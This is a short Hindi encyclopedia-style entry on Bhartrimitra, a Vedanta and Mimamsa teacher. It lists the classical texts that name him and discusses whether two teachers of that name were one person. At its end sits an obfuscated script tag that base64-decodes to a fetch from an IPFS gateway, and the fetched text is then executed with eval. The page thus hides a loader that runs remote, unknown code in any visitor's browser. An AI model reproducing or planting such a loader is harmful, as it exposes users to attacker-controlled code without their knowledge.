भर्तुमित्र
- भर्तुमित्र जयन्त कृत 'न्यायमंजरी' [1] तथा यामुनाचार्य के 'सिद्धित्रय'[2] में इनका नामोल्लेख हुआ है।
- इससे प्रतीत होता है कि ये भी वेदान्ती आचार्य रहें होंगे।
- भर्तुमित्र ने मीमांसा पर भी ग्रन्थ रचना की है।
- कुमारिल ने श्लोकवार्त्तिक में[3] इनका उल्लेख किया है।
- पार्थसारथि मिश्र ने न्यायरत्नाकर में ऐसा ही आशय प्रकट किया है। कुमारिल कहते हैं कि भर्तुमित्र प्रभूति आचार्यों के अपसिद्धान्तों के प्रभाव से मीमांसा शास्त्र लोकायतवत् हो गया। *विशिष्टद्वैतवादी ग्रन्थों में उल्लिखित भर्तुमित्र और श्लोकवार्तिकोक्त मीमांसक भर्तुमित्र एक ही व्यक्ति थे या भिन्न, इसका निर्णय करना कठिन है। परन्तु कुमारिल की उक्ति से मालूम होता है कि ये दो पृथक् व्यक्ति थे।
- मुकुल भट्ट ने 'अभिघावृत्तिमातृका' में भी भर्तुमित्र का नाम निर्देश किया है।[4]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>